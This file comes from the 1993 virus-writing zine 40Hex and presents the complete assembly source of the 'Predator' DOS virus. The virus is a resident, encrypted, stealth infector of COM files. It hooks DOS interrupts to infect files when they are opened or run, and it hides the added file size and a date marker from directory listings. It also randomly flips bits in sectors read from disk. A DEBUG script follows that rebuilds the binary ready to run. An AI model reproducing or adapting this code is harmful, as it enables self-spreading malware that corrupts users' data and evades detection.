home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-11.zip / 40HEX-11.008 < prev    next >
Text File  |  1993-06-01  |  31KB  |  740 lines

  1. 40Hex Issue 11 Volume 3 Number 2                                      File 008
  2.  
  3.                                    Predator
  4.  
  5.      Predator is a virus written by Phalcon/Skism's newest member, Priest.  It
  6. incorporates a number of stealth features.  It infects only COM files.
  7. Predator uses the "Century" technique of marking a virus infection; file dates
  8. are bumped up 100 years to designate an infection.
  9.  
  10. --Predator Source Code---------------------------------------------------------
  11. CSEG SEGMENT
  12.      ASSUME CS:CSEG, ES:CSEG, SS:CSEG
  13.      ORG 0h
  14.  
  15. ;                        Source code of the Predator
  16.  
  17. ;                                  Priest
  18.  
  19.  
  20. Its_Me          equ 'IM'
  21.  
  22. Read_Only       equ 1
  23.  
  24. Mem_Size        equ offset Finish-offset Virus_Start    ;amount of memory needed
  25.                                                         
  26. Virus_Size      equ offset Virus_End-offset Virus_Start ;size of virus
  27. New_Virus_Size  equ offset Finish-offset New_Virus      ;size of virus w/
  28.                                                         ;encryption
  29.  
  30.  
  31. Hundred_Years   equ 0c8h
  32.  
  33. Version         equ 30h                   ;Get DOS Version
  34. Open            equ 3dh                   ;Open File
  35. Ext_Open        equ 6ch                   ;Extended Open File
  36. Execute         equ 4bh                   ;Execute
  37. Find_FCB        equ 11h                   ;Find File Control Block
  38. Find_FCB_Next   equ 12h                   ;Find next FCB
  39. Open_FCB        equ 0fh                   ;Open FCB
  40. Get_DTA         equ 2fh                   ;Get DTA address
  41. Find_Dir        equ 4eh                   ;Find file
  42. Find_Dir_Next   equ 4fh                   ;Find next file
  43.  
  44. Attribute       equ 1                     ;infection flags
  45. Opened          equ 2
  46. Written         equ 4
  47.  
  48. Extended_FCB    equ 0ffh                  ;Extended FCB will have the first
  49.                                           ;byte equal to FFh
  50.  
  51. Virus_Start:    mov sp,bp                 ;restore Stack after decryption
  52.                 sti                       ;interrupts on
  53.                 mov ah,Version
  54.                 mov bx,Its_Me
  55.                 int 21h                   ;Check if already resident
  56.                 cmp ax,Its_Me
  57.                 jne Go_Res
  58. Jump_R_F:       jmp Return_File
  59. Go_Res:         mov ax,cs                 
  60.                 dec ax                    ;get segment of this MCB
  61. MCB_ds:         mov ds,ax
  62.                 cmp byte ptr ds:[0],'Z'   ;must be last Memory Control Block
  63.                 jne Jump_R_F
  64. Found_last_MCB: mov ax,Mem_Size           ;Reserve enough for virus + data
  65.                 mov cl,4h                 
  66.                 shr ax,cl                 ;convert to paragraphs
  67.                 inc ax
  68.                 push ax
  69.                 dec ax
  70.                 shr ax,cl
  71.                 shr cl,1
  72.                 shr ax,cl                 ;convert to kilobytes
  73.                 inc ax                    
  74.                 push ds
  75.                 xor bx,bx
  76.                 mov ds,bx
  77.                 sub word ptr ds:[413h],ax  ;take memory from int 12
  78.                 pop ds
  79.                 pop ax
  80.                 sub word ptr ds:[0003h],ax  ;take it from availible memory
  81.                 mov ax,cs
  82.                 add ax,ds:[0003h]         ;get segment of free memory
  83.                 mov es,ax
  84.                 push cs
  85.                 pop ds
  86.                 call $+3             ;next 3 instructions find Virus_Start
  87.                 pop si
  88.                 sub si,(offset $-1)-offset Virus_Start
  89.                 xor di,di
  90.                 mov cx,Mem_Size
  91.                 cld
  92.                 rep movsb                 ;copy us to High Memory
  93.                 push es
  94.                 mov ax,offset High_Start
  95.                 push ax
  96.                 retf                      ;jump up there
  97.  
  98. Virus_Name:     db 'Predator virus  ' 
  99. Copyright:      db '(c) Mar. 93  '
  100. Me:             db 'Priest' 
  101.  
  102. File_Bytes      db 0cdh, 20h, 0h       ;first 3 bytes of infected .com file
  103.  
  104. Com_Spec:       db '.COM',0h           ;only .com files can be infected
  105.  
  106. High_Start:     push cs
  107.                 pop ds
  108.                 mov ax,3521h           ;get address of Int 21
  109.                 int 21h
  110.                 mov word ptr ds:[Int_21],bx      ;save it 
  111.                 mov word ptr ds:[Int_21+2h],es
  112.                 mov al,13h              ;get address of Int 13
  113.                 int 21h
  114.                 mov word ptr ds:[Int_13],bx     ;save it
  115.                 mov word ptr ds:[Int_13+2h],es
  116.                 mov ah,25h                   ;point Int 13 to our handler
  117.                 mov dx,offset New_13
  118.                 int 21h
  119.                 mov al,21h                   ;21h too
  120.                 mov dx,offset New_21
  121.                 int 21h   
  122.                 xor ax,ax
  123.                 mov ds,ax
  124.                 mov ax,ds:[46ch]             ;get a random number for 
  125.                 push cs                      ; activation task
  126.                 pop ds
  127.                 xchg al,ah
  128.                 add word ptr ds:[Count_Down],ax     ;Save it for count down
  129. Return_File:    push ss
  130.                 pop es
  131.                 mov di,100h
  132.                 call $+3      ;get address of first 3 bytes of .com file
  133.                 pop si
  134.                 sub si,(offset $-1)-offset File_Bytes
  135.                 push ss
  136.                 push di
  137.                 cld
  138.                 movsw                           ;move them
  139.                 movsb
  140.                 push ss
  141.                 pop ds
  142.                 xor ax,ax
  143.                 retf                           ;jump to original program
  144.  
  145.  
  146.  
  147. New_21:         cmp ah,Open                    ;check function
  148.                 je Infect
  149.                 cmp ah,Ext_Open
  150.                 je Ext_File_Open
  151.                 cmp ah,Execute
  152.                 je Infect
  153.                 cmp ah,Find_FCB
  154.                 je Stealth_FCB
  155.                 cmp ah,Find_FCB_Next
  156.                 je Stealth_FCB
  157.                 cmp ah,Open_FCB
  158.                 je Stealth_FCB_O
  159.                 cmp ah,Find_Dir
  160.                 je Stealth_Dir
  161.                 cmp ah,Find_Dir_Next
  162.                 je Stealth_Dir
  163.                 cmp ah,Version         ;other checking for us
  164.                 jne Jump_21
  165.                 cmp bx,Its_Me
  166.                 jne Jump_21
  167.                 mov ax,bx               ;tell other that we're here
  168. Ret_21:         retf 0002h
  169. Jump_21:        jmp cs:Int_21
  170.  
  171. Stealth_Dir:    jmp Hide_Find
  172. Stealth_FCB:    jmp Hide_FCB
  173. Stealth_FCB_O:  jmp Hide_FCB_O
  174.  
  175. Infect_Error_J: jmp Infect_Error
  176. Ext_File_Open:  mov word ptr cs:[File_Pnt],si     ;Extended open uses DS:SI
  177.                 jmp short Infect_ds
  178. Infect:         mov word ptr cs:[File_Pnt],dx   ;Open & Execute use DS:DX
  179. Infect_ds:      mov word ptr cs:[File_Pnt+2h],ds
  180.                 mov byte ptr cs:[Infect_Status],0h  ;zero out progress byte
  181.                 call Push_All                    ;Push all registers
  182.                 call Hook_24    ;Hook Int 24 to avoid errors being displayed
  183.                 call Is_Com                ;Is it a .com file?
  184.                 jb Infect_Error_J          ;Carry flag set if it is not
  185.                 lds dx,cs:[File_Pnt]       ;get saved address of file name
  186.                 mov ax,4300h             ;fetch the attribute
  187.                 push ax
  188.                 call Old_21
  189.                 pop ax
  190.                 jb Infect_Error_J
  191.                 mov byte ptr cs:[File_Attr],cl  ;save attribute
  192.                 test cl,Read_Only   ;no need to change if not read only
  193.                 je No_Attr_Rem
  194.                 xor cx,cx
  195.                 inc al
  196.                 call Old_21                 ;if read only, then zero out
  197.                 jb Infect_Error_J
  198.                 or byte ptr cs:[Infect_Status],Attribute ;update progress byte
  199. No_Attr_Rem:    mov ax,3dc2h              ;open with write/compatibility
  200.                 call Old_21
  201.                 jb Infect_Error_J
  202.                 xchg ax,bx                ;handle into bx
  203.                 push cs
  204.                 pop ds
  205.                 or byte ptr ds:[Infect_Status],Opened ;update progress byte
  206.                 mov ax,5700h                      ;get date
  207.                 call Old_21
  208.                 cmp dh,Hundred_Years            ;is it infected?
  209.                 jnb Infect_Error
  210.                 add dh,Hundred_Years            ;else add 100 years to date
  211.                 mov word ptr ds:[File_Date],dx  ;save modified date
  212.                 mov word ptr ds:[File_Time],cx
  213.                 mov ah,3fh                      ;read first 3 bytes
  214.                 mov cx,3h
  215.                 mov dx,offset File_Bytes
  216.                 call Old_21
  217.                 cmp ax,cx                     ;if error, then quit
  218.                 jne Infect_Error
  219.                 cmp word ptr ds:[File_Bytes],'MZ' ;no .exe files 
  220.                 je Infect_Error
  221.                 cmp word ptr ds:[File_Bytes],'ZM'
  222.                 je Infect_Error
  223.                 mov al,2                ;set file pointer to end of file
  224.                 call Set_Pnt
  225.                 or dx,dx                ;too big?
  226.                 jne Infect_Error
  227.                 cmp ax,1000             ;too small?
  228.                 jb Infect_Error
  229.                 cmp ax,0-2000           ;still too big?
  230.                 ja Infect_Error
  231.                 mov di,offset Jump_Bytes    ;make a jump to end of file
  232.                 push ax
  233.                 add ax,100h          ;these two are for the encryption
  234.                 mov word ptr ds:[Decrypt_Start_Off+1],ax
  235.                 push cs
  236.                 pop es
  237.                 mov al,0e9h           ;e9h = JMP xxxx
  238.                 cld
  239.                 stosb
  240.                 pop ax
  241.                 sub ax,3h             ; to end of file
  242.                 stosw
  243.                 call Encrypt_Virus    ;encrypt the virus
  244.                 mov ah,40h            ;write the encrypted virus and the
  245.                                       ;decryption routine to file
  246.                 mov dx,offset New_Virus
  247.                 mov cx,New_Virus_Size
  248.                 call Old_21
  249.                 jb Infect_Error
  250.                 or byte ptr ds:[Infect_Status],Written ;update progress byte
  251.                 xor al,al                              ;set file pointer to 
  252.                 call Set_Pnt                           ;beginning of file
  253.                 mov ah,40h                             ;write the jump
  254.                 mov dx,offset Jump_Bytes
  255.                 mov cx,3h
  256.                 call Old_21
  257. Infect_Error:   test byte ptr cs:[Infect_Status],Opened ;was file opened?
  258.                 je Set_Attr
  259.                 test byte ptr cs:[Infect_Status],Written ;was file written to?
  260.                 je Close
  261.                 mov ax,5701h            ;if infected, restore modified date
  262.                 mov dx,cs:[File_Date]
  263.                 mov cx,ds:[File_Time]
  264.                 call Old_21
  265. Close:          mov ah,3eh                ;close file
  266.                 call Old_21
  267. Set_Attr:       test byte ptr cs:[Infect_Status],Attribute ;attribute changed?
  268.                 je Jump_Old_21
  269.                 mov ax,4301h              ;if changed, then restore it
  270.                 xor cx,cx
  271.                 mov cl,cs:[File_Attr]
  272.                 lds dx,cs:[File_Pnt]
  273.                 call Old_21
  274. Jump_Old_21:    call Unhook_24           ;unhook Int 24
  275.                 call Pop_All             ;pop all registers
  276.                 jmp Jump_21              ;jump to original int 21
  277.  
  278. Set_Pnt:        mov ah,42h               ;set file pointer w/ al as parameter
  279.                 xor cx,cx
  280.                 cwd                      ;zero out dx
  281.                 call Old_21
  282.                 retn
  283.  
  284.  
  285. Pop_All:        pop word ptr cs:[Ret_Add]  ;save return address
  286.                 pop es
  287.                 pop ds
  288.                 pop si
  289.                 pop di
  290.                 pop bp
  291.                 pop dx
  292.                 pop cx
  293.                 pop bx
  294.                 pop ax
  295.                 popf
  296.                 jmp cs:[Ret_Add]          ;jump to return address
  297.  
  298. Push_All:       pop word ptr cs:[Ret_Add] ;save return address
  299.                 pushf
  300.                 push ax
  301.                 push bx
  302.                 push cx
  303.                 push dx
  304.                 push bp
  305.                 push di
  306.                 push si
  307.                 push ds
  308.                 push es
  309.                 jmp cs:[Ret_Add]       ;jump to return address
  310.  
  311.  
  312. Hook_24:        call Push_All          ;push all registers
  313.                 mov ax,3524h           ;get int 24 address
  314.                 call Old_21
  315.                 mov word ptr cs:[Int_24],bx   ;save address
  316.                 mov word ptr cs:[Int_24+2h],es
  317.                 mov ah,25h                     ;set new address to us
  318.                 push cs
  319.                 pop ds
  320.                 mov dx,offset New_24
  321.                 call Old_21
  322.                 call Pop_All           ;pop all registers
  323.                 retn
  324.  
  325. Unhook_24:      call Push_All
  326.                 mov ax,2524h          ;set old address back
  327.                 lds dx,cs:[Int_24]
  328.                 Call Old_21
  329.                 call Pop_All
  330.                 retn
  331.  
  332. New_24:         mov al,3h          ;int 24, fail
  333.                 iret
  334.  
  335. Old_21:         pushf              ;call to original int 21
  336.                 call cs:Int_21
  337.                 retn
  338.  
  339. ;Hide_Find hides the file size increase for functions 4eh and 4fh and the
  340. ;date change
  341.  
  342.  
  343. Hide_Find:      call Old_21         ;do the search
  344.                 call Push_All       ;push all registers
  345.                 jb Hide_File_Error
  346.                 mov ah,2fh          ;get DTA address
  347.                 call Old_21
  348.                 cmp byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years  ;Is it
  349.                 jb Hide_File_Error                              ;infected?
  350.                 sub byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years ;Take
  351.                                         
  352.                                         ;away 100 years from date
  353.                 
  354.                 sub word ptr es:[bx.DTA_File_Size],New_Virus_Size   ;take
  355.                                         
  356.                                         ;away Virus_Size from file size
  357.  
  358.                 sbb word ptr es:[bx.DTA_File_Size+2],0    ;subtract remainder
  359.                                         
  360.                                         ;although there will not be one
  361.                                         ; I included it for expandibility 
  362.                                         ; (i.e. infecting .exe files)
  363. Hide_File_Error:call Pop_All            ;pop all registers
  364.                 jmp Ret_21
  365.  
  366. ;Hide_FCB hides the file size increase for functions 11h and 12h and the
  367. ;date change
  368.  
  369.  
  370. Hide_FCB:       call Old_21        ;find file
  371.                 call Push_All      ;push registers
  372.                 or al,al           ;al=0 if no error
  373.                 jne Hide_FCB_Error
  374.                 mov ah,Get_DTA     ;get address of DTA
  375.                 call Old_21
  376.                 cmp byte ptr ds:[bx],Extended_FCB   ;is it an extended FCB?
  377.                 jne Hide_FCB_Reg
  378.                 add bx,7h            ;yes, add 7 to address to skip garbage
  379.  
  380. Hide_FCB_Reg:   cmp byte ptr es:[bx.DS_Date+1h],Hundred_Years ;Is it infected?
  381.                 jb Hide_FCB_Error
  382.                 sub byte ptr es:[bx.DS_Date+1h],Hundred_Years  ;yes, restore
  383.                                                 ;date
  384.  
  385.                 sub word ptr es:[bx.DS_File_Size],New_Virus_Size ;fix size
  386.                 sbb word ptr es:[bx.DS_File_Size+2],0  ;and remainder
  387. Hide_FCB_Error: call Pop_All                    ;pop all registers
  388.                 jmp Ret_21
  389.  
  390. ;Hide_FCB_O hides the file size increase for function 0fh and the
  391. ;date change
  392.  
  393. Hide_FCB_O:     call Old_21               ;open FCB 
  394.                 call Push_All             ;push all registers
  395.                 cmp al,0h                 ;al=0 if opened, else error
  396.                 jne Hide_FCB_O_Error
  397.                 mov bx,dx                 ;pointer into bx
  398.  
  399.                 cmp byte ptr ds:[bx],Extended_FCB ;is it an extended FCB?
  400.                 jne Hide_FCB_No_E
  401.                 add bx,7h            ;yes, add 7 to skip garbage
  402.  
  403. Hide_FCB_No_E:  cmp byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;infected?
  404.                 jb Hide_FCB_O_Error
  405.                 sub byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;yes,
  406.                                                 ;fix date
  407.  
  408.                 sub word ptr ds:[bx.FCB_File_Size],New_Virus_Size ;fix size
  409.                 sbb word ptr ds:[bx.FCB_File_Size+2h],0  ;and remainder
  410. Hide_FCB_O_Error:call Pop_All         ;pop all registers
  411.                 jmp Ret_21
  412.  
  413. Is_Com:         push cs
  414.                 pop ds
  415.                 les di,ds:[File_Pnt]  ;get address of file
  416.                 xor al,al
  417.                 mov cx,7fh
  418.                 cld
  419.                 repne scasb           ;scan for null byte at end of file name
  420.                 cmp cx,7fh-5h        ;must be at least 5 bytes long, 
  421.                                      ;including ext. (.COM)
  422.                 jnb Is_Not_Com
  423.                 mov cx,5h            ;compare last five bytes to ".COM",0
  424.                 sub di,cx
  425.                 mov si,offset Com_Spec  ;offset of ".COM",0
  426.                 cld
  427.                 rep cmpsb             ;compare them
  428.                 jne Is_Not_Com
  429.                 clc                   ;if .com file, then clear carry flag
  430.                 retn
  431. Is_Not_Com:     stc                   ;else set it
  432.                 retn
  433.  
  434. ;This is the interrupt 13 handle, it's sole purpose is to complement a
  435. ;random bit after a random number of sectors (1-65535) have been read.
  436.  
  437.  
  438. New_13:         cmp ah,2h             ;Is a sector going to be read
  439.                 je Read_Sector
  440. Jump_13:        jmp cs:Int_13         ;no, continue on
  441. Ret_13:         call Pop_All          ;pop all registers
  442.                 retf 0002h
  443. Read_Sector:    mov byte ptr cs:[Sub_Value],al  ;save number of sectors read
  444.                 pushf
  445.                 call cs:Int_13                  ;read the sectors
  446.                 call Push_All                   ;push flags
  447.                 jb Ret_13                       ;jump if error to return
  448.                 mov al,cs:[Sub_Value]           ;get number of sectors read
  449.                 cbw
  450.                 sub word ptr cs:[Count_Down],ax ;subtract it from our count
  451.                 ja Ret_13                       ;down
  452.                 mov bx,200h                     ;200h bytes per sector
  453.                 cwd                             ;zero dx
  454.                 mul bx                          ;mul # of sectors by 200
  455.                 dec ax                          ;minus one
  456.                 xor cx,cx
  457.                 mov ds,cx
  458.                 mov cx,ds:[46ch]                ;get random value
  459.                 mov word ptr cs:[Count_Down],cx ;move it into count down
  460.                 push cx
  461.                 and cx,ax                       ;cx must be < ax
  462.                 add bx,cx                       ;add it to the address of 
  463.                 pop cx                          ;where the sectors were read
  464.                 add cl,ch                       ;randomize cl
  465.                 rcr word ptr es:[bx],cl         ;get a random bit
  466.                 cmc                             ;reverse it
  467.                 rcl word ptr es:[bx],cl         ;put it back
  468.                 jmp short Ret_13                ;jump to return 
  469.  
  470. ;The Encrypt_Virus module copies the decryption routine and an encrypted
  471. ;copy of the virus to a buffer
  472.  
  473. Encrypt_Virus:  xor ax,ax
  474.                 mov ds,ax
  475.                 mov ax,ds:[46ch]    ;get random value
  476.                 push cs
  477.                 pop ds
  478.                 add byte ptr ds:[Decrypt_Value],al    ;use as encryption key 
  479.                 mov al,ds:[Decrypt_Value]             ;get encryption key
  480.                 add ah,al                             ;randomize ah
  481.                 add byte ptr ds:[Decrypt_Random],ah   ;put random garbage 
  482.                 mov si,offset Decrypt_Code          ;copy decryption routine
  483.                 mov di,offset New_Virus
  484.                 mov cx,offset Decrypt_End-offset Decrypt_Code
  485.                 cld
  486.                 rep movsb                           ;to buffer    
  487.                 mov si,offset Virus_Start           ;copy virus
  488.                 mov cx,((Virus_Size)/2)+1
  489. Encrypt_Loop:   xchg ax,cx
  490.                 push ax
  491.                 lodsw
  492.                 rol ax,cl                           ;and encrypt
  493.                 not ax
  494.                 stosw                               ;to buffer
  495.                 pop ax
  496.                 xchg ax,cx
  497.                 loop Encrypt_Loop
  498.                 dec di                              ;fix pointer for
  499.                 dec di                              ;decryption routine
  500.                 sub di,offset New_Virus     ;point decryption's SP to end of
  501.                                             ;encrypted code for proper
  502.                                             ;decryption
  503.  
  504.                 add word ptr ds:[New_Virus+(Decrypt_Start_Off+1-Decrypt_Code)],di
  505.                 retn
  506.  
  507. ;Decryption routine
  508.  
  509. Decrypt_Code:   mov dx,((Virus_Size)/2)+1
  510.                 db 0b1h                    ;mov cl,
  511. Decrypt_Value   db ?                    
  512.                 cli
  513.                 mov bp,sp
  514. Decrypt_Start_Off:mov sp,1234h
  515. Decrypt_Loop:   pop ax
  516.                 not ax
  517.                 ror ax,cl
  518.                 push ax
  519.                 jmp short $+3
  520. Decrypt_Random: db 12h
  521.                 dec sp
  522.                 dec sp
  523.                 dec dx
  524.                 jne Decrypt_Loop
  525. Decrypt_End:
  526.  
  527.                 db ?
  528. Virus_End:
  529.  
  530. Jump_Bytes      db 3 dup(0)
  531.  
  532. Int_13          dd ?                    
  533. Int_21          dd ?
  534. Int_24          dd ?
  535.  
  536. Ret_Add         dw ?                    
  537.  
  538. File_Pnt        dd ?
  539.  
  540. Infect_Status   db ?
  541.  
  542. File_Time       dw ?
  543. File_Date       dw ?
  544. File_Attr       db ?
  545.  
  546. Count_Down      dw ?
  547. Sub_Value       db ?
  548.  
  549. New_Virus       db Virus_Size+(offset Decrypt_End-offset Decrypt_Code)+1 dup(0)
  550.                 
  551. Finish:
  552.  
  553. ;various structures
  554.  
  555. Directory       STRUC
  556. DS_Drive        db ?
  557. DS_File_Name    db 8 dup(0)
  558. DS_File_Ext     db 3 dup(0)
  559. DS_File_Attr    db ?
  560. DS_Reserved     db 10 dup(0)
  561. DS_Time         dw ?
  562. DS_Date         dw ?
  563. DS_Start_Clust  dw ?
  564. DS_File_Size    dd ?
  565. Directory       ENDS
  566.  
  567. FCB             STRUC
  568. FCB_Drive       db ?
  569. FCB_File_Name   db 8 dup(0)
  570. FCB_File_Ext    db 3 dup(0)
  571. FCB_Block       dw ?
  572. FCB_Rec_Size    dw ?
  573. FCB_File_Size   dd ?
  574. FCB_File_Date   dw ?
  575. FCB_File_Time   dw ?
  576. FCB_Reserved    db 8 dup(0)
  577. FCB_Record      db ?
  578. FCB_Random      dd ?
  579. FCB             ENDS
  580.  
  581. DTA             STRUC
  582. DTA_Reserved    db 21 dup(0)
  583. DTA_File_Attr   db ?
  584. DTA_File_Time   dw ?
  585. DTA_File_Date   dw ?
  586. DTA_File_Size   dd ?
  587. DTA_File_Name   db 13 dup(0)
  588. DTA             ENDS
  589.  
  590.  
  591.  
  592.  
  593.  
  594. CSEG ENDS
  595.      END Virus_Start
  596. --Predator Debug Script--------------------------------------------------------
  597. n predator.com
  598. e 0100  8B E5 FB B4 30 BB 4D 49 CD 21 3D 4D 49 75 03 E9 
  599. e 0110  AF 00 8C C8 48 8E D8 80 3E 00 00 5A 75 F1 B8 64 
  600. e 0120  08 B1 04 D3 E8 40 50 48 D3 E8 D0 E9 D3 E8 40 1E 
  601. e 0130  33 DB 8E DB 29 06 13 04 1F 58 29 06 03 00 8C C8 
  602. e 0140  03 06 03 00 8E C0 0E 1F E8 00 00 5E 81 EE 4B 00 
  603. e 0150  33 FF B9 64 08 FC F3 A4 06 B8 89 00 50 CB 50 72 
  604. e 0160  65 64 61 74 6F 72 20 76 69 72 75 73 20 20 28 63 
  605. e 0170  29 20 4D 61 72 2E 20 39 33 20 20 50 72 69 65 73 
  606. e 0180  74 CD 20 00 2E 43 4F 4D 00 0E 1F B8 21 35 CD 21 
  607. e 0190  89 1E 1D 04 8C 06 1F 04 B0 13 CD 21 89 1E 19 04 
  608. e 01A0  8C 06 1B 04 B4 25 BA 6D 03 CD 21 B0 21 BA D8 00 
  609. e 01B0  CD 21 33 C0 8E D8 A1 6C 04 0E 1F 86 C4 01 06 31 
  610. e 01C0  04 16 07 BF 00 01 E8 00 00 5E 81 EE 48 00 16 57 
  611. e 01D0  FC A5 A4 16 1F 33 C0 CB 80 FC 3D 74 4B 80 FC 6C 
  612. e 01E0  74 3F 80 FC 4B 74 41 80 FC 11 74 2C 80 FC 12 74 
  613. e 01F0  27 80 FC 0F 74 25 80 FC 4E 74 1A 80 FC 4F 74 15 
  614. e 0200  80 FC 30 75 0B 81 FB 4D 49 75 05 8B C3 CA 02 00 
  615. e 0210  2E FF 2E 1D 04 E9 9A 01 E9 C5 01 E9 FA 01 E9 DC 
  616. e 0220  00 2E 89 36 27 04 EB 05 2E 89 16 27 04 2E 8C 1E 
  617. e 0230  29 04 2E C6 06 2B 04 00 E8 26 01 E8 37 01 E8 08 
  618. e 0240  02 72 DB 2E C5 16 27 04 B8 00 43 50 E8 5C 01 58 
  619. e 0250  72 CC 2E 88 0E 30 04 F6 C1 01 74 0F 33 C9 FE C0 
  620. e 0260  E8 48 01 72 B9 2E 80 0E 2B 04 01 B8 C2 3D E8 3A 
  621. e 0270  01 72 AB 93 0E 1F 80 0E 2B 04 02 B8 00 57 E8 2A 
  622. e 0280  01 80 FE C8 73 77 80 C6 C8 89 16 2E 04 89 0E 2C 
  623. e 0290  04 B4 3F B9 03 00 BA 81 00 E8 0F 01 3B C1 75 5D 
  624. e 02A0  81 3E 81 00 5A 4D 74 55 81 3E 81 00 4D 5A 74 4D 
  625. e 02B0  B0 02 E8 8F 00 0B D2 75 44 3D E8 03 72 3F 3D 30 
  626. e 02C0  F8 77 3A BF 16 04 50 05 00 01 A3 05 04 0E 07 B0 
  627. e 02D0  E9 FC AA 58 2D 03 00 AB E8 E2 01 B4 40 BA 34 04 
  628. e 02E0  B9 30 04 E8 C5 00 72 15 80 0E 2B 04 04 32 C0 E8 
  629. e 02F0  52 00 B4 40 BA 16 04 B9 03 00 E8 AE 00 2E F6 06 
  630. e 0300  2B 04 02 74 1C 2E F6 06 2B 04 04 74 0F B8 01 57 
  631. e 0310  2E 8B 16 2E 04 8B 0E 2C 04 E8 8F 00 B4 3E E8 8A 
  632. e 0320  00 2E F6 06 2B 04 01 74 12 B8 01 43 33 C9 2E 8A 
  633. e 0330  0E 30 04 2E C5 16 27 04 E8 70 00 E8 58 00 E8 0C 
  634. e 0340  00 E9 CC FE B4 42 33 C9 99 E8 5F 00 C3 2E 8F 06 
  635. e 0350  25 04 07 1F 5E 5F 5D 5A 59 5B 58 9D 2E FF 26 25 
  636. e 0360  04 2E 8F 06 25 04 9C 50 53 51 52 55 57 56 1E 06 
  637. e 0370  2E FF 26 25 04 E8 E9 FF B8 24 35 E8 2D 00 2E 89 
  638. e 0380  1E 21 04 2E 8C 06 23 04 B4 25 0E 1F BA A8 02 E8 
  639. e 0390  19 00 E8 B8 FF C3 E8 C8 FF B8 24 25 2E C5 16 21 
  640. e 03A0  04 E8 07 00 E8 A6 FF C3 B0 03 CF 9C 2E FF 1E 1D 
  641. e 03B0  04 C3 E8 F6 FF E8 A9 FF 72 20 B4 2F E8 EC FF 26 
  642. e 03C0  80 BF 19 00 C8 72 13 26 80 AF 19 00 C8 26 81 AF 
  643. e 03D0  1A 00 30 04 26 83 9F 1C 00 00 E8 70 FF E9 2D FE 
  644. e 03E0  E8 C8 FF E8 7B FF 0A C0 75 28 B4 2F E8 BC FF 80 
  645. e 03F0  3F FF 75 03 83 C3 07 26 80 BF 1A 00 C8 72 13 26 
  646. e 0400  80 AF 1A 00 C8 26 81 AF 1D 00 30 04 26 83 9F 1F 
  647. e 0410  00 00 E8 38 FF E9 F5 FD E8 90 FF E8 43 FF 3C 00 
  648. e 0420  75 21 8B DA 80 3F FF 75 03 83 C3 07 80 BF 15 00 
  649. e 0430  C8 72 10 80 AF 15 00 C8 81 AF 10 00 30 04 83 9F 
  650. e 0440  12 00 00 E8 07 FF E9 C4 FD 0E 1F C4 3E 27 04 32 
  651. e 0450  C0 B9 7F 00 FC F2 AE 83 F9 7A 73 0F B9 05 00 2B 
  652. e 0460  F9 BE 84 00 FC F3 A6 75 02 F8 C3 F9 C3 80 FC 02 
  653. e 0470  74 0B 2E FF 2E 19 04 E8 D3 FE CA 02 00 2E A2 33 
  654. e 0480  04 9C 2E FF 1E 19 04 E8 D7 FE 72 EB 2E A0 33 04 
  655. e 0490  98 2E 29 06 31 04 77 DF BB 00 02 99 F7 E3 48 33 
  656. e 04A0  C9 8E D9 8B 0E 6C 04 2E 89 0E 31 04 51 23 C8 03 
  657. e 04B0  D9 59 02 CD 26 D3 1F F5 26 D3 17 EB BA 33 C0 8E 
  658. e 04C0  D8 A1 6C 04 0E 1F 00 06 00 04 A0 00 04 02 E0 00 
  659. e 04D0  26 0F 04 BE FC 03 BF 34 04 B9 19 00 FC F3 A4 BE 
  660. e 04E0  00 00 B9 0C 02 91 50 AD D3 C0 F7 D0 AB 58 91 E2 
  661. e 04F0  F4 4F 4F 81 EF 34 04 01 3E 3D 04 C3 BA 0C 02 B1 
  662. e 0500  00 FA 8B EC BC 34 12 58 F7 D0 D3 C8 50 EB 01 12 
  663. e 0510  4C 4C 4A 75 F2 00 00 00 00 00 00 00 00 00 00 00 
  664. e 0520  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  665. e 0530  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  666. e 0540  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  667. e 0550  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  668. e 0560  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  669. e 0570  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  670. e 0580  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  671. e 0590  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  672. e 05A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  673. e 05B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  674. e 05C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  675. e 05D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  676. e 05E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  677. e 05F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  678. e 0600  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  679. e 0610  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  680. e 0620  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  681. e 0630  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  682. e 0640  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  683. e 0650  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  684. e 0660  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  685. e 0670  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  686. e 0680  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  687. e 0690  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  688. e 06A0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  689. e 06B0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  690. e 06C0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  691. e 06D0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  692. e 06E0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  693. e 06F0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  694. e 0700  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
  695. e 0710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
